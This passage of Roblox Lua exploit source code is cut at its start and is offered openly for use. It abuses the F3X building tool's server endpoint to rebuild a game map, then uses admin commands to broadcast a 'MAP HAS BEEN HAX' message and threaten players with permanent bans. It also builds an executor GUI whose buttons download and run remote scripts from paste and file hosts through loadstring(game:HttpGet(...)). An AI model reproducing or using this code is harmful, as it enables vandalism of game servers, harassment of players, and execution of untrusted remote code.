P[123] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[123], true) end) end if P[123] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[123], "LeftHand") end) end if P[238] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[238], true) end) end if P[238] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[238], "LeftLowerArm") end) end if P[227] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[227], true) end) end if P[227] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[227], "LeftUpperArm") end) end if P[96] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[96], true) end) end if P[96] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[96], "LeftUpperLeg") end) end if P[265] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[265], "UpdateBoardTimer") end) end if P[674] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[674], "DropZone2") end) end if P[87] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[87], true) end) end if P[87] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[87], "RightFoot") end) end if P[256] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[256], true) end) end if P[256] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[256], "RightLowerArm") end) end if P[105] then lockTasks[#lockTasks+1] = task.spawn(function() setLocked(endpoint, P[105], true) end) end if P[105] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[105], "LeftLowerLeg") end) end if P[659] then nameTasks[#nameTasks+1] = task.spawn(function() setName(endpoint, P[659], "Truss") end) end task.wait(0.2) if P[575] then task.spawn(function() createMesh(endpoint, P[575]) syncMeshType(endpoint, P[575], Enum.MeshType.Wedge) syncMeshScale(endpoint, P[575], Vector3.new(1,1,1)) syncMeshOffset(endpoint, P[575], Vector3.new(0,0,0)) end) end if P[595] then task.spawn(function() createMesh(endpoint, P[595]) syncMeshType(endpoint, P[595], Enum.MeshType.FileMesh) syncMeshScale(endpoint, P[595], Vector3.new(0.4843750298023224,1.9375001192092896,0.4843750298023224)) syncMeshOffset(endpoint, P[595], Vector3.new(0,0,0)) syncMeshId(endpoint, P[595], "http://www.roblox.com/asset/?id=3270017") end) end task.wait(0.3) if P[72] then task.spawn(function() createDecal(endpoint, P[72], Enum.NormalId.Right) setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Right) end) end if P[72] then task.spawn(function() createDecal(endpoint, P[72], Enum.NormalId.Front) setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Front) end) end if P[72] then task.spawn(function() createDecal(endpoint, P[72], Enum.NormalId.Left) setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Left) end) end if P[72] then task.spawn(function() createDecal(endpoint, P[72], Enum.NormalId.Top) setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Top) end) end if P[72] then task.spawn(function() createDecal(endpoint, P[72], Enum.NormalId.Back) setDecalTexture(endpoint, P[72], "http://www.roblox.com/asset/?id=6157808925", Enum.NormalId.Back) end) end if P[186] then task.spawn(function() createDecal(endpoint, P[186], Enum.NormalId.Front) setDecalTexture(endpoint, P[186], "http://www.roblox.com/asset/?id=144080495 ", Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059139679", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059199929", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059086913", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059079081", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059235017", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059122107", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059235017", Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059062216", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059187920", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059100365", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059207998", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[435] then task.spawn(function() createDecal(endpoint, P[435], Enum.NormalId.Front) setDecalTexture(endpoint, P[435], "rbxassetid://13059164385", Enum.NormalId.Front) setDecalTransparency(endpoint, P[435], 1, Enum.NormalId.Front) end) end if P[644] then task.spawn(function() createDecal(endpoint, P[644], Enum.NormalId.Top) setDecalTexture(endpoint, P[644], "rbxassetid://83686330220442", Enum.NormalId.Top) end) end if P[646] then task.spawn(function() createDecal(endpoint, P[646], Enum.NormalId.Top) setDecalTexture(endpoint, P[646], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top) end) end if P[648] then task.spawn(function() createDecal(endpoint, P[648], Enum.NormalId.Top) setDecalTexture(endpoint, P[648], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top) end) end if P[650] then task.spawn(function() createDecal(endpoint, P[650], Enum.NormalId.Top) setDecalTexture(endpoint, P[650], "rbxassetid://83686330220442", Enum.NormalId.Top) end) end if P[653] then task.spawn(function() createDecal(endpoint, P[653], Enum.NormalId.Top) setDecalTexture(endpoint, P[653], "rbxasset://textures/SpawnLocation.png", Enum.NormalId.Top) end) end if P[657] then task.spawn(function() createDecal(endpoint, P[657], Enum.NormalId.Top) setDecalTexture(endpoint, P[657], "rbxassetid://83686330220442", Enum.NormalId.Top) end) end if P[665] then task.spawn(function() createDecal(endpoint, P[665], Enum.NormalId.Top) setDecalTexture(endpoint, P[665], "rbxassetid://83686330220442", Enum.NormalId.Top) end) end if P[667] then task.spawn(function() createDecal(endpoint, P[667], Enum.NormalId.Top) setDecalTexture(endpoint, P[667], "rbxassetid://83686330220442", Enum.NormalId.Top) end) end if P[677] then task.spawn(function() createDecal(endpoint, P[677], Enum.NormalId.Top) setDecalTexture(endpoint, P[677], "rbxassetid://83686330220442", Enum.NormalId.Top) end) end task.wait(0.3) if P[268] then task.spawn(function() createLight(endpoint, P[268], "SpotLight") syncLight(endpoint, P[268], "SpotLight", 10, 16, Color3.new(1,1,1), false, nil, 90) end) end if P[435] then task.spawn(function() createLight(endpoint, P[435], "SurfaceLight") syncLight(endpoint, P[435], "SurfaceLight", 3, 20, Color3.new(1,1,1), true, Enum.NormalId.Front, 90) end) end task.wait(0.3) local G = {} task.spawn(function() G[536] = createGroup(endpoint, "Model", workspace, {537,540,543,546,549,552,555,558,561,564,567}) setName(endpoint, G[536], "FallingModel2") end) task.spawn(function() G[715] = createGroup(endpoint, "Model", workspace, {716,720,724,729,732,736,741,745,751,755,761,767,770,773}) setName(endpoint, G[715], "FallingModel4") end) task.spawn(function() G[463] = createGroup(endpoint, "Model", workspace, {464,467,470,473,476,479,482,485,488,491,494}) setName(endpoint, G[463], "FallingModel2") end) task.spawn(function() G[52] = createGroup(endpoint, "Model", workspace, {87,96,105,114,123,132,151,157,166,175,186,204,227,238,247,256}) setName(endpoint, G[52], "Rig") end) task.spawn(function() G[681] = createGroup(endpoint, "Model", workspace, {682,685,688,691,694,697,700,703,706,709,712}) setName(endpoint, G[681], "FallingModel2") end) task.spawn(function() G[4] = createGroup(endpoint, "Model", workspace, {265,268,270,271,428}) setName(endpoint, G[4], "TimePlayedLeaderboard") end) task.spawn(function() G[7] = createGroup(endpoint, "Model", workspace, {8,9,10,11,12}) setName(endpoint, G[7], "Pole") end) task.spawn(function() G[497] = createGroup(endpoint, "Model", workspace, {498,501,504,507,510,513,516,519,522,525,528}) setName(endpoint, G[497], "FallingModel2") end) task.spawn(function() G[13] = createGroup(endpoint, "Model", workspace, {14,15,16,17,18}) setName(endpoint, G[13], "Pole") end) task.spawn(function() G[570] = createGroup(endpoint, "Model", workspace, {571,575,579,583,587,591,595,599,603,607,611,615,619,623,627,631,635,639}) setName(endpoint, G[570], "FallingModel6") end) task.spawn(function() G[71] = createGroup(endpoint, "Model", workspace, {72,78}) setName(endpoint, G[71], "Pedestal") end) task.spawn(function() G[19] = createGroup(endpoint, "Model", workspace, {21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46}) setName(endpoint, G[19], "ThreeDTextObject") end) task.spawn(function() G[429] = createGroup(endpoint, "Model", workspace, {430,433,435,451,454,456,458,461}) setName(endpoint, G[429], "Nyan-Cat TV") end) task.spawn(function() G[531] = createGroup(endpoint, "Model", workspace, {532}) setName(endpoint, G[531], "FallingModel5") end) task.wait(0.3) task.wait(0.5) local missed = {} for id, part in pairs(P) do if part and not part.Anchored then missed[#missed+1] = {Part = part, Anchored = true} end end if #missed > 0 then print("Fixing", #missed, "missed anchor(s)...") for i = 1, #missed, 100 do local chunk = {} for j = i, math.min(i+99, #missed) do chunk[#chunk+1] = missed[j] end endpoint:InvokeServer("SyncAnchor", chunk) task.wait() end end RequestCommand:InvokeServer(";res all") task.wait(0.2) RequestCommand:InvokeServer(";re all") task.wait(0.2) RequestCommand:InvokeServer(";sm MAP HAS BEEN HAX BY W.X.A And x9d uwu :3! IF YOU GO BACK INTO THE GAME AND DON'T COMPLETE THIS OBBY YOU WILL BE PERM BANNED! COMPLETE THIS OBBY AND YOU WILL BE PUT BACK INTO THE NORMAL GAME") task.wait(0.1) RequestCommand:InvokeServer(";sh MAP HAS BEEN HAX BY W.X.A And x9d uwu :3! IF YOU GO BACK INTO THE GAME AND DON'T COMPLETE THIS OBBY YOU WILL BE PERM BANNED! COMPLETE THIS OBBY AND YOU WILL BE PUT BACK INTO THE NORMAL GAME") task.wait(0.1) RequestCommand:InvokeServer(";music 99821204090088 ;pitch 0.1 ;volume inf") end) end; task.spawn(C_55); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript local function C_57() local script = G2L["57"]; script.Parent.MouseButton1Click:Connect(function() local ligmaXD = Instance.new("ScreenGui") local Frame = Instance.new("Frame") local execute = Instance.new("TextButton") local clear = Instance.new("TextButton") local TextLabel = Instance.new("TextLabel") local image = Instance.new("ImageLabel") local TextBox = Instance.new("TextBox") local exit = Instance.new("TextButton") local Frame_2 = Instance.new("Frame") local gcg = Instance.new("TextButton") local tuff = Instance.new("TextButton") local gguns = Instance.new("TextButton") local infyield = Instance.new("TextButton") local oneg = Instance.new("TextButton") local cmess = Instance.new("TextButton") local ImageLabel = Instance.new("ImageLabel") local TextLabel_2 = Instance.new("TextLabel") --Properties: ligmaXD.Name = "ligmaXD" ligmaXD.Parent = game.CoreGui Frame.Parent = ligmaXD Frame.Active = true Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame.Position = UDim2.new(0.187817261, 0, 0.21384424, 0) Frame.Size = UDim2.new(0, 790, 0, 431) execute.Name = "execute" execute.Parent = Frame execute.BackgroundColor3 = Color3.fromRGB(255, 255, 255) execute.Position = UDim2.new(0.698806822, 0, 0.0863522813, 0) execute.Size = UDim2.new(0, 75, 0, 200) execute.Font = Enum.Font.SourceSans execute.Text = "EXE" execute.TextColor3 = Color3.fromRGB(0, 0, 0) execute.TextSize = 14.000 clear.Name = "clear" clear.Parent = Frame clear.BackgroundColor3 = Color3.fromRGB(255, 255, 255) clear.Position = UDim2.new(0.698806822, 0, 0.550389409, 0) clear.Size = UDim2.new(0, 75, 0, 176) clear.Font = Enum.Font.SourceSans clear.Text = "CLEAR" clear.TextColor3 = Color3.fromRGB(0, 0, 0) clear.TextSize = 14.000 TextLabel.Parent = Frame TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel.BorderSizePixel = 0 TextLabel.Position = UDim2.new(0.0428340882, 0, 0, 0) TextLabel.Size = UDim2.new(0, 602, 0, 22) TextLabel.Font = Enum.Font.SourceSans TextLabel.Text = "Project Ligma F3X by W.X.A" TextLabel.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel.TextSize = 14.000 TextLabel.TextXAlignment = Enum.TextXAlignment.Left image.Name = "image" image.Parent = Frame image.BackgroundColor3 = Color3.fromRGB(255, 255, 255) image.BorderSizePixel = 0 image.Size = UDim2.new(0, 23, 0, 22) image.Image = "rbxassetid://87162794" TextBox.Parent = Frame TextBox.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextBox.Position = UDim2.new(0.0159489494, 0, 0.0863522813, 0) TextBox.Size = UDim2.new(0, 540, 0, 376) TextBox.ClearTextOnFocus = false TextBox.Font = Enum.Font.SourceSans TextBox.Text = "" TextBox.TextColor3 = Color3.fromRGB(0, 0, 0) TextBox.TextSize = 14.000 TextBox.TextXAlignment = Enum.TextXAlignment.Left TextBox.TextYAlignment = Enum.TextYAlignment.Top exit.Name = "exit" exit.Parent = Frame exit.BackgroundColor3 = Color3.fromRGB(255, 255, 255) exit.BorderSizePixel = 0 exit.Position = UDim2.new(0.958532691, 0, 0.00262467191, 0) exit.Size = UDim2.new(0, 26, 0, 19) exit.Font = Enum.Font.SourceSans exit.Text = "X" exit.TextColor3 = Color3.fromRGB(0, 0, 0) exit.TextSize = 14.000 Frame_2.Parent = Frame Frame_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) Frame_2.Position = UDim2.new(0.806329131, 0, 0.0904872417, 0) Frame_2.Size = UDim2.new(0, 145, 0, 374) gcg.Name = "gcg" gcg.Parent = Frame_2 gcg.BackgroundColor3 = Color3.fromRGB(255, 255, 255) gcg.Position = UDim2.new(0, 0, 0.120525256, 0) gcg.Size = UDim2.new(0, 145, 0, 23) gcg.Font = Enum.Font.SourceSans gcg.Text = "NYXES GUI F3X" gcg.TextColor3 = Color3.fromRGB(0, 0, 0) gcg.TextSize = 14.000 gguns.Name = "gguns" gguns.Parent = Frame_2 gguns.BackgroundColor3 = Color3.fromRGB(255, 255, 255) gguns.Position = UDim2.new(0, 0, 0.0600222014, 0) gguns.Size = UDim2.new(0, 145, 0, 23) gguns.Font = Enum.Font.SourceSans gguns.Text = "UZI gun" gguns.TextColor3 = Color3.fromRGB(0, 0, 0) gguns.TextSize = 14.000 infyield.Name = "infyield" infyield.Parent = Frame_2 infyield.BackgroundColor3 = Color3.fromRGB(255, 255, 255) infyield.Position = UDim2.new(0, 0, -0.000480814837, 0) infyield.Size = UDim2.new(0, 145, 0, 23) infyield.Font = Enum.Font.SourceSans infyield.Text = "kidnapper police" infyield.TextColor3 = Color3.fromRGB(0, 0, 0) infyield.TextSize = 14.000 oneg.Name = "oneg" oneg.Parent = Frame_2 oneg.BackgroundColor3 = Color3.fromRGB(255, 255, 255) oneg.Position = UDim2.new(0, 0, 0.181028321, 0) oneg.Size = UDim2.new(0, 145, 0, 23) oneg.Font = Enum.Font.SourceSans oneg.Text = "Polaria" oneg.TextColor3 = Color3.fromRGB(0, 0, 0) oneg.TextSize = 14.000 cmess.Name = "cmess" cmess.Parent = Frame_2 cmess.BackgroundColor3 = Color3.fromRGB(255, 255, 255) cmess.Position = UDim2.new(0, 0, 0.241531447, 0) cmess.Size = UDim2.new(0, 145, 0, 23) cmess.Font = Enum.Font.SourceSans cmess.Text = "f3x abuser" cmess.TextColor3 = Color3.fromRGB(0, 0, 0) cmess.TextSize = 14.000 ImageLabel.Parent = ligmaXD ImageLabel.Active = true ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) ImageLabel.BackgroundTransparency = 1.000 ImageLabel.Position = UDim2.new(-0.127000004, 0, 0.407999992, 0) ImageLabel.Size = UDim2.new(0, 90, 0, 90) ImageLabel.Image = "rbxassetid://87162794" TextLabel_2.Parent = ImageLabel TextLabel_2.Active = true TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_2.BackgroundTransparency = 1.000 TextLabel_2.Position = UDim2.new(0.99999994, 0, 0, 0) TextLabel_2.Size = UDim2.new(0, 269, 0, 90) TextLabel_2.Font = Enum.Font.SourceSansBold TextLabel_2.LineHeight = 1.100 TextLabel_2.Text = "Project Ligma f3x by W.X.A Run scripts live without filthy modules or converting! Use the external program to execute scripts. Status: Injected" TextLabel_2.TextColor3 = Color3.fromRGB(0, 0, 0) TextLabel_2.TextScaled = true TextLabel_2.TextSize = 15.000 TextLabel_2.TextTransparency = 1.000 TextLabel_2.TextWrapped = true -- Scripts: local function OLFCRNW_fake_script() -- execute.execrip local script = Instance.new('Script', execute) loadstring(script.Parent.Parent.TextBox.Text)() end coroutine.wrap(OLFCRNW_fake_script)() local function UGLYR_fake_script() -- clear.clerscrip local script = Instance.new('Script', clear) script.Parent.MouseButton1Click:Connect(function(plr) script.Parent.Parent.TextBox.Text = " " end) end coroutine.wrap(UGLYR_fake_script)() local function YRHUUF_fake_script() -- Frame.drag local script = Instance.new('LocalScript', Frame) script.Parent.Draggable = true end coroutine.wrap(YRHUUF_fake_script)() local function RGKBZD_fake_script() -- exit.excrip local script = Instance.new('Script', exit) script.Parent.MouseButton1Click:Connect(function() script.Parent.Parent.Parent:Destroy() end) end coroutine.wrap(RGKBZD_fake_script)() local function TWYE_fake_script() -- gcg.gcgs local script = Instance.new('LocalScript', gcg) script.Parent.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] loadstring(game:HttpGet("https://raw.githubusercontent.com/esivydkin-eng/nyxes-F3X-gui-original-source/refs/heads/main/NYXES%20F3X%20GUI%20V2"))(true) end) end coroutine.wrap(TWYE_fake_script)() local function DVROF_fake_script() -- gguns.gguns local script = Instance.new('LocalScript', gguns) script.Parent.MouseButton1Click:Connect(function() rq:InvokeServer(";shirt me 1313573671") rq:InvokeServer(";pants me 6458756358") loadstring(game:HttpGet("https://files.catbox.moe/o5iwhr.txt"))() end) end coroutine.wrap(DVROF_fake_script)() local function XZQXAR_fake_script() -- infyield.iys local script = Instance.new('LocalScript', infyield) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet"https://pastefy.app/Qg93HAkl/raw")() end) end coroutine.wrap(XZQXAR_fake_script)() local function FNVRQD_fake_script() -- oneg.onegs local script = Instance.new('LocalScript', oneg) script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet"https://files.catbox.moe/jie1d1.txt")() end) end coroutine.wrap(FNVRQD_fake_script)() local function TKTEZTF_fake_script() -- cmess.cmessS local script = Instance.new('LocalScript', cmess) script.Parent.MouseButton1Click:Connect(function() --[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] --[[ By W.X.A (me) Aka valeratter Gayest script ever ]] loadstring(game:HttpGet("https://raw.githubusercontent.com/KryptIT/relgai/refs/heads/main/wellnoshitsherlockthisworksrealbtwf3xmango67bycityboijkbyW.X.A.lua"))() end) end coroutine.wrap(TKTEZTF_fake_script)() local function DSSE_fake_script() -- ligmaXD.IntroTween local script = Instance.new('LocalScript', ligmaXD) local img = script.Parent.ImageLabel local TweenService = game:GetService("TweenService") local txt = img.TextLabel wait(1) img:TweenPosition(UDim2.new(0.458, 0, 0.408, 0), "Out", "Linear", 0.4, false) wait(3) img:TweenPosition(UDim2.new(0.01, 0, 0.813, 0), "Out", "Sine", 0.7, false) wait(1) TweenService:Create(txt, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["BackgroundTransparency"] = 0}):Play() TweenService:Create(txt, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["TextTransparency"] = 0}):Play() for i,v in pairs(game.Players:GetPlayers()) do if v.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then -- R6 detection btn.BackgroundTransparency = 1 btn.TextTransparency = 1 elseif v.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then -- R15 detection TweenService:Create(btn, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["BackgroundTransparency"] = 0}):Play() TweenService:Create(btn, TweenInfo.new(1, Enum.EasingStyle.Cubic, Enum.EasingDirection.Out), {["TextTransparency"] = 0}):Play() end end wait(2) while wait() do for i,v in pairs(game.Players:GetPlayers()) do if v.Character.Humanoid.RigType == Enum.HumanoidRigType.R6 then btn.Transparency = 1 elseif v.Character.Humanoid.RigType == Enum.HumanoidRigType.R15 then btn.Transparency = 0 end end end end coroutine.wrap(DSSE_fake_script)() end) end; task.spawn(C_57); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript local function C_59() local script = G2L["59"]; script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastefy.app/o5B2BC2O/raw"))() end) end; task.spawn(C_59); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript local function C_5b() local script = G2L["5b"]; script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://files.catbox.moe/jie1d1.txt"))() end) end; task.spawn(C_5b); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript local function C_5d() local script = G2L["5d"]; script.Parent.MouseButton1Click:Connect(function() loadstring(game:HttpGet"https://gist.githubusercontent.com/KryptIT/eca10bc724885c0892a9e4cd16eb5846/raw/cdc0e5ffbe14680a7eba97ce9874391a07de78b7/tuff.lua")() end) end; task.spawn(C_5d); -- StarterGui.ScreenGui.ImageLabel.Frame.TextButton.LocalScript local function C_5f() local script = G2L["5f"]; script.Parent.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";r6") end) end; task.spawn(C_5f); return G2L["1"], require;
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